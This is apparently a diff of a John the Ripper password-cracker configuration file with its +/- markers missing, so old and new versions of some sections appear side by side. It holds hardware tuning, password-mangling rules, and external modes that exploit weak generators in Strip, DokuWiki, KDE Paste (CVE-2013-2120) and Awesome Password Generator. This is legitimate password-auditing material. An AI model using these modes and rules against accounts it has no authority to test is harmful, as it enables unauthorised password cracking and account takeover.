# read. However there will NOT be any recursion down further directory levels.
# Any entries that don't exist will be silently ignored.
[List.Extra:Potfiles]
#somefile.pot
#somedirectory
#$JOHN/my.pot
[Options:CPUtune]
# If preset is given, use it and skip autotune (NOTE: non-intel archs will
# currently ignore this option and always autotune)
@@ -362,14 +373,6 @@ MPIOMPverbose = Y
# Assume all MPI nodes are homogenous; Enforce same OpenCL workgroup sizes.
MPIAllGPUsSame = N
# These formats are disabled from all-formats --test runs, or auto-selection
# of format from an input file. Even when disabled, you can use them as long
# as you spell them out with the --format option. Or you can delete a line,
# comment it out, or change to 'N'
[Disabled:Formats]
#formatname = Y
.include '$JOHN/dynamic_disabled.conf'
# Options that may affect both GPUs and other accelerators (eg. FPGA)
[Options:GPU]
# Show GPU temperature, fan and utilization along with normal status output
@@ -380,78 +383,30 @@ TempStatus = Y
UtilStatus = N
FanStatus = N
# Abort session if GPU hits this temperature (in C)
# Abort the process or sleep for a while if a GPU hits this temperature (in C)
AbortTemperature = 95
# ZTEX specific settings
[ZTEX:descrypt]
# The design has two programmable clocks. The 1st one is supplied to
# pipelines of DES rounds, the 2nd clock is supplied to comparators.
# Startup frequencies are 220,160.
#Frequency = 220,160
[ZTEX:bcrypt]
# Define typical setting of hashes it's going to process. It allows
# to adjust for best performance.
TargetSetting = 6
# Startup frequency for bcrypt-ztex is 140. Design tools guaranteed
# 141.5 in worst-case temperature and voltage.
Frequency = 141
# It's possible to set frequency on per-board and per-fpga basis.
#Frequency_04A36E0FD6 = 142
#Frequency_04A36E0FD6_0 = 143
#Frequency_04A36E0FD6_3 = 144
[ZTEX:sha512crypt]
#TargetRounds = 5000
# Design tools reported possible frequency to be 215 MHz.
# We never encountered a board where this worked anywhere close
# to such high frequency. Default frequency is set to 160 MHz.
# Some lucky boards might run at some higher frequency.
Frequency = 160
#Config1 = \x00\x00
[ZTEX:Drupal7]
#TargetRounds = 16384
# Drupal7 uses same bitstream as sha512crypt, see comment regarding
# default frequency in sha512crypt section.
#Frequency = 160
# Some bitstreams accept runtime configuration.
# In sha512crypt/Drupal7, configuration is 2 bytes. That's interpreted
# as a bitmask. By setting any of the lowest 10 bits to 1 it turns off
# corresponding unit (there are 10 units in the bitstream).
# This turns off units 0 and 1.
#Config1 = \x03\x00
# This turns off all 10 units (resulting in a timeout).
#Config1_04A36E0FD6_0 = \xff\x03
[ZTEX:sha256crypt]
# Design tools reported possible frequency is 166.3 but tested boards
# miss guesses, often fail unless frequency is decreased.
#Frequency = 165
Frequency = 135
#TargetRounds = 1000000
# md5crypt and phpass use same bitstream. Design tools reported
# possible frequency is 202 MHz. Tested boards run OK at 180 MHz.
[ZTEX:md5crypt]
Frequency = 180
[ZTEX:phpass]
Frequency = 180
#TargetRounds = 2048
# Instead of aborting, sleep for this many seconds to cool the GPU down when
# the temperature hits the AbortTemperature value, then re-test the temperature
# and either wake up or go to sleep again. Set this to 0 to actually abort.
# Suppress repeated sleep/wakeup messages when SleepOnTemperature = 1, which we
# interpret as intent to keep the GPU temperature around the limit.
SleepOnTemperature = 1
[Options:OpenCL]
# Set default OpenCL device. Command line option will override this.
# Set default OpenCL device(s). Command line option will override this.
# If not set, we will search for a GPU or fall-back to the most
# powerful device.
#Device = 0
# powerful device. Syntax is same as --device option.
Device =
# If commented out and set to true, store LWS and GWS in session file for
# later resume. Note that when resuming, this option is ignored: If the
# session file was written with this option set, it will still be used.
#ResumeWS = Y
# *Always* show local/global work sizes (LWS/GWS). This is mostly for
# debugging, we try to show them when reasonable.
AlwaysShowWorksizes = N
# If set to true, store LWS and GWS in session file for later resume.
# Note that when resuming, this option is ignored: If the session file
# was written with this option set, it will still be used.
ResumeWS = N
# Global max. single kernel invocation duration, in ms. Setting this low
# (eg. 10-100 ms) gives you a better responding desktop but lower performance.
@@ -459,7 +414,7 @@ Frequency = 180
# may lag. Really high values may trip watchdogs (eg. 5 seconds). Some versions
# of AMD Catalyst may hang if you go above 200 ms, and in general any good
# kernel will perform optimally at 100-200 ms anyway.
#Global_MaxDuration = 200
Global_MaxDuration =
# Some formats vectorize their kernels in case the device says it's a good
# idea. Some devices give "improper" hints which means we vectorize but get
@@ -467,7 +422,7 @@ Frequency = 180
# will disable vectorizing globally.
# With this set to N (or commented out) you can force it per session with
# the --force-scalar command-line option instead.
#ForceScalar = Y
ForceScalar = N
# Global build options. Format-specific build options below may be
# concatenated to this.
@@ -479,7 +434,6 @@ GlobalBuildOpts = -cl-mad-enable
# Any other value (eg. 64) will be taken verbatim.
AutotuneLWS = 1
# Format-specific settings:
# Uncomment the below for nvidia sm_30 and beyond.
@@ -529,11 +483,115 @@ sha512crypt_Bonaire = -DUNROLL_LOOP=132104
# S -> supported
# T -> not recommended: really bad software. I mean "trash".
# ZTEX specific settings
[List.ZTEX:Devices]
# If you list Serial Numbers (SN) of ZTEX boards here, it will display
# numbers (starting from 1) instead of factory programmed SN's.
# These numbers can be used in --dev command-line option.
#04A36E0000
#04A36D0000
[ZTEX:descrypt]
# The design has programmable clock. Design tools reported possible
# frequency to be 221 MHz. Tested boards work reliably at 190.
Frequency = 190
[ZTEX:bcrypt]
# Define typical setting of hashes it's going to process. It allows
# to adjust for best performance.
TargetSetting = 5
# Design tools reported possible frequency to be 141.5 MHz.
# Tested boards work reliably at 150, so that's what we use by default.
Frequency = 150
# For any algorithm it's possible to set frequency on per-board and
# per-FPGA basis, but the lowest frequency will determine performance.
#Frequency_04A36E0FD6 = 142
#Frequency_04A36E0FD6_1 = 143
#Frequency_04A36E0FD6_4 = 144
[ZTEX:sha512crypt]
#TargetRounds = 5000
# Design tools reported possible frequency to be 215 MHz.
# We never encountered a board where this worked anywhere close
# to such high frequency. Default frequency is set to 160 MHz.
# Some lucky boards might run at some higher frequency.
Frequency = 160
#Config1 = \x00\x00
[ZTEX:Drupal7]
#TargetRounds = 16384
# Drupal7 uses same bitstream as sha512crypt, see comment regarding
# default frequency in sha512crypt section.
#Frequency = 160
# Some bitstreams accept runtime configuration.
# In sha512crypt/Drupal7, configuration is 2 bytes. That's interpreted
# as a bitmask. By setting any of the lowest 10 bits to 1 it turns off
# corresponding unit (there are 10 units in the bitstream).
# This turns off units 0 and 1.
#Config1 = \x03\x00
# This turns off all 10 units (resulting in a timeout).
#Config1_04A36E0FD6_0 = \xff\x03
[ZTEX:sha256crypt]
# Design tools reported possible frequency is 241 MHz but tested boards
# miss guesses, often fail unless frequency is decreased.
# Tested boards work reliably at 175.
Frequency = 175
#TargetRounds = 500000
# md5crypt and phpass use same bitstream. Design tools reported
# possible frequency is 202 MHz. Tested boards run OK at 180 MHz.
[ZTEX:md5crypt]
Frequency = 180
[ZTEX:phpass]
Frequency = 180
#TargetRounds = 2048
# These formats are disabled from all-formats --test runs, or auto-selection
# of format from an input file. Even when disabled, you can use them as long
# as you spell them out with the --format option. Or you can delete a line,
# comment it out, or change to 'N'
[Disabled:Formats]
#formatname = Y
.include '$JOHN/dynamic_disabled.conf'
[Formats:7z]
# With this enabled, the 7z formats check padding after AES decryption which
# more or less guarantees we don't get any false positives, and also makes
# the formats faster (in some cases a LOT faster). We've had one (1) report
# of getting a false negative having this enabled though, so if you fail to
# crack some archive you may want to disable this and re-try all attacks.
TrustPadding = Y
# This allows you to list a few words/names that will be used by single mode
# as if they were included in every GECOS field. Use sparingly! Please note
# that the example words are commented out, so the list is empty!
[List.Single:SeedWords]
#Pass
#Secret
#Test
# This allows you to read extra pot files when loading hashes. Nothing will
# ever be written to these files, they are just read. Any directory in this
# list will be traversed and files in it with an extension of .pot will be
# read. However there will NOT be any recursion down further directory levels.
# Any entries that don't exist will be silently ignored.
[List.Extra:Potfiles]
#somefile.pot
#somedirectory
#$JOHN/my.pot
[Debug]
# Changing this to Yes will enable legacy-style benchmarks, for comparisons
Benchmarks_1_8 = N
# Changing this to Yes will test salted formats as one/many salts, for debug
BenchmarkMany = N
[PRINCE]
# Default wordlist file name. Will fall back to standard wordlist if not
# defined.
#Wordlist = $JOHN/password.lst
Wordlist =
# Markov modes, see ../doc/MARKOV for more information
[Markov:Default]
@@ -606,7 +664,7 @@ MaxDiff = 7
# Default charset, either a literal string or a single-digit number pointing
# to one of the sets below. If not defined, all printable ASCII is used.
#DefaultCharset = 0
DefaultCharset =
# Subsets mode charsets 0-9. These are literal strings. TAB and space
# characters can be used as long as they do not come first or last. The only
@@ -676,69 +734,69 @@ MaxDiff = 7
-s-c x** /?u l
# These were not included in crackers I've seen, but are pretty efficient,
# so I include them near the beginning
-<6 ->6 >6 '6
-<7 ->7 >7 '7 l
-<6 ->6 -c >6 '6 /?u l
-<5 ->5 >5 '5
-<6 >6 '6
-<7 >7 '7 l
-<6 -c >6 '6 /?u l
-<5 >5 '5
# Wedge the Jumbo-specific addons in here!
.include [List.Rules:JumboSingle]
# Weird order, eh? Can't do anything about it, the order is based on the
# number of successful cracks...
al d
a0 r c
-c al (?a d c
-<5 ->5 -c >5 '5 /?u l
-c a0 u Q
-c a0 )?a r l
<* d
r c
-c <* (?a d c
-<5 -c >5 '5 /?u l
-c u Q
-c )?a r l
-[:c] <* !?A \p1[lc] p
-c al c Q d
-<7 ->7 -c >7 '7 /?u
-<4 ->4 >4 '4 l
-c a0 (?l c r
-c a0 )?l l Tm
-<3 ->3 >3 '3
-<4 ->4 -c >4 '4 /?u
-<3 ->3 -c >3 '3 /?u l
-c a0 u Q r
al d M 'l f Q
-c al l Q d M 'l f Q
-c <* c Q d
-<7 -c >7 '7 /?u
-<4 >4 '4 l
-c <+ (?l c r
-c <+ )?l l Tm
-<3 >3 '3
-<4 -c >4 '4 /?u
-<3 -c >3 '3 /?u l
-c u Q r
<* d M 'l f Q
-c <* l Q d M 'l f Q
# About 50% of single-mode-crackable passwords get cracked by now...
# >2 x12 ... >8 x18
->[3-9] >\p[2-8] x1\0
->9 >9 \[
>[2-8] x1\1
>9 \[
# >3 x22 ... >9 x28
->[4-9A] >\p[3-9] x2\p[2-8]
>[3-9] x2\p[2-8]
# >4 x32 ... >9 x37
->[5-9A] >\p[4-9] x3\p[2-7]
>[4-9] x3\p[2-7]
# >2 x12 /?u l ... >8 x18 /?u l
-c ->[3-9] >\p[2-8] x1\0 /?u l
-c ->9 >9 \[ /?u l
-c >[2-8] x1\1 /?u l
-c >9 \[ /?u l
# >3 x22 /?u l ... >9 x28 /?u l
-c ->[4-9A] >\p[3-9] x2\p[2-8] /?u l
-c >[3-9] x2\p[2-8] /?u l
# >4 x32 /?u l ... >9 x37 /?u l
-c ->[5-9A] >\p[4-9] x3\p[2-7] /?u l
-c >[4-9] x3\p[2-7] /?u l
# Now to the suffix stuff...
a1 l $[1-9!0a-rt-z"-/:-@\[-`{-~]
-c a1 (?a c $[1-9!0a-rt-z"-/:-@\[-`{-~]
-[:c] a1 !?A (?\p1[za] \p1[lc] $s M 'l p Q X0z0 'l $s
-[:c] a1 /?A (?\p1[za] \p1[lc] $s
a1 l r $[1-9!]
-c a1 /?a u $[1-9!]
-[:c] a2 (?\p1[za] \p1[lc] Az"'s"
-[:c] a2 (?\p1[za] \p1[lc] Az"!!"
-[:c] a3 (?\p1[za] \p1[lc] Az"!!!"
<* l $[1-9!0a-rt-z"-/:-@\[-`{-~]
-c <* (?a c $[1-9!0a-rt-z"-/:-@\[-`{-~]
-[:c] <* !?A (?\p1[za] \p1[lc] $s M 'l p Q X0z0 'l $s
-[:c] <* /?A (?\p1[za] \p1[lc] $s
<* l r $[1-9!]
-c <* /?a u $[1-9!]
-[:c] <- (?\p1[za] \p1[lc] Az"'s"
-[:c] <- (?\p1[za] \p1[lc] Az"!!"
-[:c] (?\p1[za] \p1[lc] $! <- Az"!!"
# Removing vowels...
-[:c] b1 /?v @?v >2 (?\p1[za] \p1[lc]
/?v @?v >2 al d
-[:c] /?v @?v >2 (?\p1[za] \p1[lc]
/?v @?v >2 <* d
# crack -> cracked, crack -> cracking
<* l [PI]
-c <* l [PI] (?a c
# mary -> marie
-[:c] a1 (?\p1[za] \p1[lc] )y omi $e
-[:c] <* (?\p1[za] \p1[lc] )y omi $e
# marie -> mary
-[:c] b1 (?\p1[za] \p1[lc] )e \] )i val1 oay
-[:c] (?\p1[za] \p1[lc] )e \] <+ )i val1 oay
# The following are some 3l33t rules
-[:c] l /[aelos] s\0\p[4310$] (?\p1[za] \p1[:c]
-[:c] l /a /[elos] sa4 s\0\p[310$] (?\p1[za] \p1[:c]
@@ -838,9 +896,9 @@ l Q [RL]
-[:c] (?a \p1[lc] Az"[0-9]\0\0\0\0\0" <+
# Some [birth] years...
l Az"19[7-96-0]" <+ >-
l Az"20[01]" <+ >-
l Az"20[012]" <+ >-
l Az"19[7-9][0-9]" <+
l Az"20[01][0-9]" <+
l Az"20[012][0-9]" <+
l Az"19[6-0][9-0]" <+
[List.Rules:Extra]
@@ -878,7 +936,7 @@ l Az"[1-90][0-9][0-9]" <+
# Capitalize pure alphabetic words and append '1'
-c <* >2 !?A c $1
# Duplicate reasonably short pure alphabetic words (fred -> fredfred)
<7 >1 al !?A l d
<7 >1 !?A l d
# Lowercase and reverse pure alphabetic words
>3 !?A l M r Q
# Prefix pure alphabetic words with '1'
@@ -894,13 +952,13 @@ l Az"[1-90][0-9][0-9]" <+
# Words containing whitespace, which is then squeezed out, lowercase
/?w @?w >3 l
# Capitalize and duplicate short pure alphabetic words (fred -> FredFred)
-c <7 >1 al !?A c d
-c <7 >1 !?A c d
# Capitalize and reverse pure alphabetic words (fred -> derF)
-c <+ >2 !?A c r
# Reverse and capitalize pure alphabetic words (fred -> Derf)
-c >2 !?A l M r Q c
# Lowercase and reflect pure alphabetic words (fred -> fredderf)
<7 >1 al !?A l d M 'l f Q
<7 >1 !?A l d M 'l f Q
# Uppercase the last letter of pure alphabetic words (fred -> freD)
-c <+ >2 !?A l M r Q c r
# Prefix pure alphabetic words with '2' or '4'
@@ -957,6 +1015,28 @@ W0Q
->F a0 WEQW[z0]W[z1]W[z2]W[z3]W[z4]W[z5]W[z6]W[z7]W[z8]W[z9]W[zA]W[zB]W[zC]W[zD]
->G a0 WFQW[z0]W[z1]W[z2]W[z3]W[z4]W[z5]W[z6]W[z7]W[z8]W[z9]W[zA]W[zB]W[zC]W[zD]W[zE]
[List.Rules:Multiword]
-c / Dp l
-c / Dp c Tp
-c / Dp / Dp l
-c / Dp c Tp / Dp Tp
-c %4[ ] T[0z] \p0[Q:] \p0[M:] va01 vbpa Tb Q M %3[ ] vbpa Tb Q M %2[ ] vbpa Tb Q M /[ ] vbpa Tb Q @?[Zw]
-c %3[ ] T[0z] \p0[Q:] \p0[M:] va01 vbpa Tb Q M %2[ ] vbpa Tb Q M /[ ] vbpa Tb Q @?[Zw]
-c %2[ ] T[0z] \p0[Q:] \p0[M:] va01 vbpa Tb Q M /[ ] vbpa Tb Q @?[Zw]
-c /[ ] T[0z] \p0[Q:] \p0[M:] va01 vbpa Tb Q @?[Zw]
-c %2[ ] T[0z] \p0[Q:] \p0[M:] va01 vbpa Tb Q @?[Zw]
-c %3[ ] T[0z] \p0[Q:] \p0[M:] va01 vbpa Tb Q @?[Zw]
-c %4[ ] T[0z] \p0[Q:] \p0[M:] va01 vbpa Tb Q @?[Zw]
-c %2[ ] T[0z] \p0[Q:] \p0[M:] va01 vbpa Tb Q M /[ ] vbpa Tb Q @?[Zw]
-c %3[ ] T[0z] \p0[Q:] \p0[M:] va01 vbpa Tb Q M /[ ] vbpa Tb Q @?[Zw]
-c %4[ ] T[0z] \p0[Q:] \p0[M:] va01 vbpa Tb Q M /[ ] vbpa Tb Q @?[Zw]
-c %2[ ] T[0z] \p0[Q:] \p0[M:] va01 vbpa Tb Q M %3[ ] vbpa Tb Q @?[Zw]
-c %2[ ] T[0z] \p0[Q:] \p0[M:] va01 vbpa Tb Q M %4[ ] vbpa Tb Q @?[Zw]
-c %3[ ] T[0z] \p0[Q:] \p0[M:] va01 vbpa Tb Q M %4[ ] vbpa Tb Q @?[Zw]
-c %4[ ] T[0z] \p0[Q:] \p0[M:] va01 vbpa Tb Q M %3[ ] vbpa Tb Q M %2[ ] vbpa Tb Q @?[Zw]
-c %4[ ] T[0z] \p0[Q:] \p0[M:] va01 vbpa Tb Q M %2[ ] vbpa Tb Q M /[ ] vbpa Tb Q @?[Zw]
-c %4[ ] T[0z] \p0[Q:] \p0[M:] va01 vbpa Tb Q M %3[ ] vbpa Tb Q M /[ ] vbpa Tb Q @?[Zw]
# Used for loopback. This rule will produce candidates "PASSWOR" and "D" for
# an input of "PASSWORD" (assuming LM, which has halves of length 7).
[List.Rules:Split]
@@ -1092,6 +1172,7 @@ b1 ]
.include [List.Rules:Single-Extra]
.include [List.Rules:Wordlist]
.include [List.Rules:ShiftToggle]
.include [List.Rules:Multiword]
.include [List.Rules:best64]
# KoreLogic rules
@@ -1674,1092 +1755,6 @@ void init()
type = ' ';
}
# Strip 0.5 ("Secure Tool for Recalling Important Passwords") cracker,
# based on analysis done by Thomas Roessler and Ian Goldberg. This will
# crack passwords you may have generated with Strip; other uses of Strip
# are unaffected.
[List.External:Strip]
int minlength, maxlength, mintype, maxtype;
int crack_seed, length, type;
int count, charset[128];
void init()
{
int c;
/* Password lengths to try; Strip can generate passwords of 4 to 16
* characters, but traditional crypt(3) hashes are limited to 8. */
minlength = req_minlen;
if (minlength < 4)
minlength = 4;
if (req_maxlen)
maxlength = req_maxlen;
else // the format's limit
maxlength = cipher_limit;
if (maxlength >16) maxlength = 16;
/* Password types to try (Numeric, Alpha-Num, Alpha-Num w/ Meta). */
mintype = 0; // 0
maxtype = 2; // 2
crack_seed = 0x10000;
length = minlength - 1;
type = mintype;
count = 0;
c = '0'; while (c <= '9') charset[count++] = c++;
}
void generate()
{
int seed, random;
int i, c;
if (crack_seed > 0xffff) {
crack_seed = 0;
if (++length > maxlength) {
length = minlength;
if (++type > maxtype) {
word[0] = 0;
return;
}
}
count = 10;
if (type >= 1) {
c = 'a'; while (c <= 'f') charset[count++] = c++;
c = 'h'; while (c <= 'z') charset[count++] = c++;
c = 'A'; while (c <= 'Z') charset[count++] = c++;
}
if (type == 2) {
charset[count++] = '!';
c = '#'; while (c <= '&') charset[count++] = c++;
c = '('; while (c <= '/') charset[count++] = c++;
c = '<'; while (c <= '>') charset[count++] = c++;
charset[count++] = '?'; charset[count++] = '@';
charset[count++] = '['; charset[count++] = ']';
charset[count++] = '^'; charset[count++] = '_';
c = '{'; while (c <= '~') charset[count++] = c++;
}
}
seed = (crack_seed++ << 16 >> 16) * 22695477 + 1;
i = 0;
while (i < length) {
random = ((seed = seed * 22695477 + 1) >> 16) & 0x7fff;
word[i++] = charset[random % count];
}
word[i] = 0;
}
# A variation of KnownForce configured to try all the 385641000 possible
# auto-generated passwords of DokuWiki versions up to at least 2013-05-10.
[List.External:DokuWiki]
int last; // Last character position, zero-based
int lastofs; // Last character position offset into charset[]
int lastid; // Current character index in the last position
int id[0x7f]; // Current character indices for other positions
int charset[0x7f00]; // Character sets, 0x100 elements for each position
void init()
{
int A[26], C[26], V[26];
int length;
int pos, ofs, i, c;
i = 0; while (i < 26) { A[i] = C[i] = 1; V[i++] = 0; }
i = 'a' - 'a'; C[i] = 0; V[i] = 1;
i = 'e' - 'a'; C[i] = 0; V[i] = 1;
i = 'i' - 'a'; C[i] = 0; V[i] = 1;
i = 'o' - 'a'; C[i] = 0; V[i] = 1;
i = 'u' - 'a'; C[i] = 0; V[i] = 1;
i = 'q' - 'a'; A[i] = C[i] = 0;
i = 'x' - 'a'; A[i] = C[i] = 0;
i = 'y' - 'a'; A[i] = C[i] = 0;
length = 8;
/* This defines the character sets for different character positions */
pos = 0;
while (pos < 6) {
ofs = pos++ << 8;
i = 0;
c = 'a' - 1;
while (++c <= 'z')
if (C[c - 'a'])
charset[ofs + i++] = c;
charset[ofs + i] = 0;
ofs = pos++ << 8;
i = 0;
c = 'a' - 1;
while (++c <= 'z')
if (V[c - 'a'])
charset[ofs + i++] = c;
charset[ofs + i] = 0;
ofs = pos++ << 8;
i = 0;
c = 'a' - 1;
while (++c <= 'z')
if (A[c - 'a'])
charset[ofs + i++] = c;
charset[ofs + i] = 0;
}
c = '1';
while (pos < length) {
ofs = pos++ << 8;
i = 0;
while (c <= '9')
charset[ofs + i++] = c++;
charset[ofs + i] = 0;
c = '0';
}
last = length - 1;
pos = -1;
while (++pos <= last)
word[pos] = charset[id[pos] = pos << 8];
lastid = (lastofs = last << 8) - 1;
word[pos] = 0;
}
void generate()
{
int pos;
/* Handle the typical case specially */
if (word[last] = charset[++lastid]) return;
word[pos = last] = charset[lastid = lastofs];
while (pos--) { // Have a preceding position?
if (word[pos] = charset[++id[pos]]) return;
word[pos] = charset[id[pos] = pos << 8];
}
word = 0; // We're done
}
void restore()
{
int i, c;
/* Calculate the current length and infer the character indices */
last = 0;
while (c = word[last]) {
i = lastofs = last << 8;
while (charset[i] != c && charset[i]) i++;
if (!charset[i]) i = lastofs; // Not found
id[last++] = i;
}
lastid = id[--last];
}
/*
* This takes advantage of CVE-2013-2120 to find seeds that KDE Paste applet
* uses to generate passwords.
*
* This software is Copyright (c) Michael Samuel <mik@miknet.net>,
* and it is hereby released to the general public under the following terms:
* Redistribution and use in source and binary forms, with or without
* modification, are permitted.
*/
[List.External:KDEPaste]
int charset[95];
int charset_length, password_length, endTime, startTime, msec;
void init()
{
password_length = 8; /* Change this to match config */
endTime = session_start_time;
startTime = 1343743200; /* Aug 1 2012 - Change this as necessary */
msec = 1; /* msec is never 0 - it would crash the applet */
charset_length = 0;
int c;
/* Comment out classes that you don't need, but keep the order the same */
/* Lowers */
c = 'a'; while (c <= 'z') charset[charset_length++] = c++;
/* Uppers */
c = 'A'; while (c <= 'Z') charset[charset_length++] = c++;
/* Numbers */
c = '0'; while (c <= '9') charset[charset_length++] = c++;
charset[charset_length++] = '0'; /* Yep, it's there twice */
/* Symbols */
c = '!'; while (c <= '/') charset[charset_length++] = c++;
c = ':'; while (c <= '@') charset[charset_length++] = c++;
c = '['; while (c <= '`') charset[charset_length++] = c++;
c = '{'; while (c <= '~') charset[charset_length++] = c++;
}
void generate()
{
int i, rand_seed, rand_result;
/* Terminate once we've generated for all *
* of the time range (Plus a bit more...) */
if (endTime + 1000 < startTime) {
word = 0;
return;
}
/* Skip msecs that would generate dupes */
while (endTime % msec != 0) {
if (++msec > 999) {
endTime--;
msec = 1;
}
}
rand_seed = endTime / msec;
i = 0;
while (i < password_length) {
/* this works like rand_r() from eglibc */
rand_seed = rand_seed * 1103515245 + 12345;
rand_result = (rand_seed >> 16) & 2047;
rand_seed = rand_seed * 1103515245 + 12345;
rand_result <<= 10;
rand_result ^= (rand_seed >> 16) & 1023;
rand_seed = rand_seed * 1103515245 + 12345;
rand_result <<= 10;
rand_result ^= (rand_seed >> 16) & 1023;
word[i++] = charset[rand_result % charset_length];
}
word[i] = 0;
if (++msec > 999) {
endTime--;
msec = 1;
}
}
void restore()
{
int i, rand_seed, rand_result;
i = 0;
/* Very crude restore, just dry-run until we hit last word */
while (i != password_length) {
while (endTime % msec != 0) {
if (++msec > 999) {
endTime--;
msec = 1;
}
}
rand_seed = endTime / msec;
i = 0;
while (i < password_length) {
/* this works like rand_r() from eglibc */
rand_seed = rand_seed * 1103515245 + 12345;
rand_result = (rand_seed >> 16) & 2047;
rand_seed = rand_seed * 1103515245 + 12345;
rand_result <<= 10;
rand_result ^= (rand_seed >> 16) & 1023;
rand_seed = rand_seed * 1103515245 + 12345;
rand_result <<= 10;
rand_result ^= (rand_seed >> 16) & 1023;
if (charset[rand_result % charset_length] != word[i++])
break;
}
if (++msec > 999) {
endTime--;
msec = 1;
}
}
}
/* Awesome Password Generator RNG replay
* Written by Michael Samuel <mik@miknet.net>
* Public Domain.
*
* This takes advantage of a subtle bug, where a crypto RNG is used to
* seed the C# System.Random() class, which takes a 32-bit input, but
* converts negative numbers into non-negative numbers, resulting in
* only 31 bits of security.
*
* This only implements "easy to type" being *unticked*, and numbers,
* lowers, uppers and symbols being ticked, in random password mode.
* Changing the password length is easy, anything else is left as an
* exercise to the reader.
*
* Running Awesome Password Generator (1.3.2 or lower) in Mono is still
* vulnerable, but uses a different RNG, so this mode isn't compatible.
*/
/* Awesome Password Generator 1.3.2 does a two-pass run, selecting which
* charset each position will have, then picking the character. This
* leads to heavy bias, and is fixed in 1.4.0 (along with many other
* fixes). If you have been using Awesome Password Generator, you should
* upgrade immediately and change your passwords.
*/
[List.External:AwesomePasswordGenerator]
int numbers[10];
int lowers[26];
int uppers[26];
int symbols[32];
/* Since we don't have a double datatype, I simply pre-calculated the
* transition numbers calculating the scale formula:
* (double)randNum * 4.656612873077393e-10 * {4/10/26/32}
*/
int boundaries_charclass[4];
int boundaries_numbers[10];
int boundaries_letters[26];
int boundaries_symbols[32];
/* This is the bug we're exploiting - the seed for the RNG is 32 bits
* from the crypto rng. The non-crypto RNG converts negative numbers
* into non-negative numbers, so there's only 2^31 possible seeds.
*/
int seed;
int password_length;
void init()
{
password_length = 16; /* Change this to match config */
int c, i;
c = '0'; i = 0; while (c <= '9') numbers[i++] = c++;
c = 'a'; i = 0; while (c <= 'z') lowers[i++] = c++;
c = 'A'; i = 0; while (c <= 'Z') uppers[i++] = c++;
/* Symbols */
i = 0;
symbols[i++] = '!'; symbols[i++] = '@'; symbols[i++] = '#'; symbols[i++] = '$';
symbols[i++] = '%'; symbols[i++] = '^'; symbols[i++] = '&'; symbols[i++] = '*';
symbols[i++] = '('; symbols[i++] = ')'; symbols[i++] = '~'; symbols[i++] = '-';
symbols[i++] = '_'; symbols[i++] = '='; symbols[i++] = '+'; symbols[i++] = '\\';
symbols[i++] = '|'; symbols[i++] = '/'; symbols[i++] = '['; symbols[i++] = ']';
symbols[i++] = '{'; symbols[i++] = '}'; symbols[i++] = ';'; symbols[i++] = ':';
symbols[i++] = '`'; symbols[i++] = '\''; symbols[i++] = '"'; symbols[i++] = ',';
symbols[i++] = '.'; symbols[i++] = '<'; symbols[i++] = '>'; symbols[i++] = '?';
i = 0;
boundaries_charclass[i++] = 536870912; boundaries_charclass[i++] = 1073741824;
boundaries_charclass[i++] = 1610612736; boundaries_charclass[i++] = 2147483647;
i = 0;
boundaries_numbers[i++] = 214748365; boundaries_numbers[i++] = 429496730;
boundaries_numbers[i++] = 644245095; boundaries_numbers[i++] = 858993460;
boundaries_numbers[i++] = 1073741824; boundaries_numbers[i++] = 1288490189;
boundaries_numbers[i++] = 1503238554; boundaries_numbers[i++] = 1717986919;
boundaries_numbers[i++] = 1932735284; boundaries_numbers[i++] = 2147483647;
i = 0;
boundaries_letters[i++] = 82595525; boundaries_letters[i++] = 165191050;
boundaries_letters[i++] = 247786575; boundaries_letters[i++] = 330382100;
boundaries_letters[i++] = 412977625; boundaries_letters[i++] = 495573150;
boundaries_letters[i++] = 578168675; boundaries_letters[i++] = 660764200;
boundaries_letters[i++] = 743359725; boundaries_letters[i++] = 825955250;
boundaries_letters[i++] = 908550775; boundaries_letters[i++] = 991146300;
boundaries_letters[i++] = 1073741824; boundaries_letters[i++] = 1156337349;
boundaries_letters[i++] = 1238932874; boundaries_letters[i++] = 1321528399;
boundaries_letters[i++] = 1404123924; boundaries_letters[i++] = 1486719449;
boundaries_letters[i++] = 1569314974; boundaries_letters[i++] = 1651910499;
boundaries_letters[i++] = 1734506024; boundaries_letters[i++] = 1817101549;
boundaries_letters[i++] = 1899697074; boundaries_letters[i++] = 1982292599;
boundaries_letters[i++] = 2064888124; boundaries_letters[i++] = 2147483647;
i = 0;
boundaries_symbols[i++] = 67108864; boundaries_symbols[i++] = 134217728;
boundaries_symbols[i++] = 201326592; boundaries_symbols[i++] = 268435456;
boundaries_symbols[i++] = 335544320; boundaries_symbols[i++] = 402653184;
boundaries_symbols[i++] = 469762048; boundaries_symbols[i++] = 536870912;
boundaries_symbols[i++] = 603979776; boundaries_symbols[i++] = 671088640;
boundaries_symbols[i++] = 738197504; boundaries_symbols[i++] = 805306368;
boundaries_symbols[i++] = 872415232; boundaries_symbols[i++] = 939524096;
boundaries_symbols[i++] = 1006632960; boundaries_symbols[i++] = 1073741824;
boundaries_symbols[i++] = 1140850688; boundaries_symbols[i++] = 1207959552;
boundaries_symbols[i++] = 1275068416; boundaries_symbols[i++] = 1342177280;
boundaries_symbols[i++] = 1409286144; boundaries_symbols[i++] = 1476395008;
boundaries_symbols[i++] = 1543503872; boundaries_symbols[i++] = 1610612736;
boundaries_symbols[i++] = 1677721600; boundaries_symbols[i++] = 1744830464;
boundaries_symbols[i++] = 1811939328; boundaries_symbols[i++] = 1879048192;
boundaries_symbols[i++] = 1946157056; boundaries_symbols[i++] = 2013265920;
boundaries_symbols[i++] = 2080374784; boundaries_symbols[i++] = 2147483647;
seed = 0;
}
void generate()
{
int i, j, s, next, nextp, val, bucket, randnum, used_charsets;
int seedarray[56];
/* BEGIN System.Random(seed) */
if(seed < 0) {
/* Only bother with non-negative integers */
word = 0;
return;
}
s = 161803398 - seed++;
seedarray[55] = s;
i = val = 1;
while(i < 55) {
bucket = 21 * i % 55;
seedarray[bucket] = val;
val = s - val;
if(val < 0) val += 2147483647;
s = seedarray[bucket];
i++;
}
i = 1;
while(i < 5) {
j = 1;
while(j < 56) {
seedarray[j] -= seedarray[1 + (j + 30) % 55];
if(seedarray[j] < 0) seedarray[j] += 2147483647;
j++;
}
i++;
}
next = 0;
nextp = 21;
/* END System.Random(seed) */
used_charsets = 0;
while(used_charsets != 15) {
i = 0;
while(i < password_length) {
/* BEGIN Random.Sample() */
if (++next >= 56) next = 1;
if (++nextp >= 56) nextp = 1;
randnum = seedarray[next] - seedarray[nextp];
if (randnum == 2147483647) randnum--;
if (randnum < 0) randnum += 2147483647;
seedarray[next] = randnum;
/* END Random.Sample() */
j = 0;
